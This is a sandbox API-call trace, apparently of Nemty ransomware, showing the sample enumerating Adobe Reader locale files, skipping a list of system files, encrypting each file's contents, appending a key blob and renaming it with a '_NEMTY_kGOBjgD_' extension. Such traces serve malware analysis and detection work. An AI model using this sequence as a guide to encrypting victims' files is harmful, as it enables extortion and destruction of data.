[0177.883] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.HUN", cAlternateFileName="ADOBEC~1.HUN")) returned 1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2=".") returned 1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="..") returned 1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="...") returned 1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="windows") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="$RECYCLE.BIN") returned 1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="rsa") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="NTDETECT.COM") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="ntldr") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="MSDOS.SYS") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="IO.SYS") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="boot.ini") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="boot.ini") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="AUTOEXEC.BAT") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="ntuser.dat") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="desktop.ini") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="CONFIG.SYS") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="RECYCLER") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="BOOTSECT.BAK") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="bootmgr") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="programdata") returned -1 [0177.883] lstrcmpiW (lpString1="AdobeCollabSync.HUN", lpString2="appdata") returned -1 [0177.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HUN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0177.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HUN", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.HUN", lpUsedDefaultChar=0x0) returned 19 [0177.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0177.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HUN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0177.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HUN", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.HUN", lpUsedDefaultChar=0x0) returned 19 [0177.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0177.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HUN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0177.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HUN", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.HUN", lpUsedDefaultChar=0x0) returned 19 [0177.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HUN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0177.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HUN", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.HUN", lpUsedDefaultChar=0x0) returned 19 [0177.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0177.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0177.884] Sleep (dwMilliseconds=0x5) [0177.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1daca3d0, dwHighDateTime=0x1d561e8)) [0177.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1daca3d0, dwHighDateTime=0x1d561e8)) [0177.885] GetLastError () returned 0x0 [0177.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.885] GetLastError () returned 0x0 [0177.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0177.885] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.885] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.885] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0177.885] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="e9tfHliw1qDnAZCE/kctUE4r/P42d0B5Hlaa7QF1FDDG1bLr0hfWW0A1YCDwDVaV\r\nYsI8X9JMkgCoQ6tt3+X35WKr9sHgHo5+ttJHWHzIIFj5E3eSDqjS71vucx1tNdUv\r\nqhPcpayCxQ5RWWKNfJDOVckaZ0B8lBgRwh9VtVocSakHX5tOmLWmD47XLZhP+Xvt\r\n/waXWUrh84WyHp9uqdItXsEQaPpdFX+VZ0SfBMP0TjjNHyRMjqxqSv1bcyoX7cBX\r\nxJdGAsVjYCE4H3iAMAaqf8Y+qmhUBqIUmZKBkZdf13Tt5fGANhqWi06DHrkXYYl5\r\nS+nn0Vwpi8Zk74tEVJtvbg==\r\n", pcchString=0x653e5dc) returned 1 [0177.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0177.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0177.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.885] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\AdobeCollabSync.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\adobecollabsync.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.885] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0177.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0177.886] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.886] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0177.887] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.887] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0177.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.888] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0177.888] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.888] CloseHandle (hObject=0x2e8) returned 1 [0177.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0177.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0177.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0177.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0177.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0177.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0177.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0177.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0177.888] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\AdobeCollabSync.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\adobecollabsync.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\AdobeCollabSync.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\adobecollabsync.hun._nemty_kgobjgd_")) returned 1 [0177.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0177.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0177.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.889] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.HUN", cAlternateFileName="")) returned 1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2=".") returned 1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="..") returned 1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="...") returned 1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="windows") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="$RECYCLE.BIN") returned 1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="rsa") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="NTDETECT.COM") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="ntldr") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="MSDOS.SYS") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="IO.SYS") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="boot.ini") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="boot.ini") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="AUTOEXEC.BAT") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="ntuser.dat") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="desktop.ini") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="CONFIG.SYS") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="RECYCLER") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="BOOTSECT.BAK") returned -1 [0177.889] lstrcmpiW (lpString1="Annots.HUN", lpString2="bootmgr") returned -1 [0177.890] lstrcmpiW (lpString1="Annots.HUN", lpString2="programdata") returned -1 [0177.890] lstrcmpiW (lpString1="Annots.HUN", lpString2="appdata") returned -1 [0177.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HUN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.HUN", lpUsedDefaultChar=0x0) returned 10 [0177.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HUN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.HUN", lpUsedDefaultChar=0x0) returned 10 [0177.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HUN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.HUN", lpUsedDefaultChar=0x0) returned 10 [0177.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HUN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.HUN", lpUsedDefaultChar=0x0) returned 10 [0177.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.890] Sleep (dwMilliseconds=0x5) [0177.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1daf0530, dwHighDateTime=0x1d561e8)) [0177.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1daf0530, dwHighDateTime=0x1d561e8)) [0177.900] GetLastError () returned 0x0 [0177.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.900] GetLastError () returned 0x0 [0177.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.900] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.900] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.901] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.901] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="I1IfgI/JvKvdfmigNkDqxT66B5fulouMC2trB56vZCv6+1KVJm3cHO3PHy/D/ZNC\r\nehV5SmLgqmCLAN924dznSqbiPsQjLUnCyB2G3k/bOXdm5v4kvhaV/0Z9I7CK+Grk\r\nS6RuGsLUP+fUQTjNuma6APb3Hi+ACn6wrAGJRr2JWMFlREuHV7M4Df11flOhlPu8\r\nAcsLCOmJYlz+JbfD6nwEQe+2rCnAtgYrLkYsUtGzcUVhPmMfnotz/mSLjvfEcY+P\r\nLqvb4zOTNalwxCO6P+7tpuoIXWMuf7nIQWChoBLQ/PV7PcTSp5xAhLSr0nBPoLNC\r\nSadeKZI2EwtMS6IDVbOLVg==\r\n", pcchString=0x653e5dc) returned 1 [0177.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.901] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Annots.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\annots.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.901] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=513536) returned 1 [0177.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.901] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.901] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.911] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.911] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.911] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=513536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d600 [0177.911] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.913] CloseHandle (hObject=0x2e8) returned 1 [0177.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 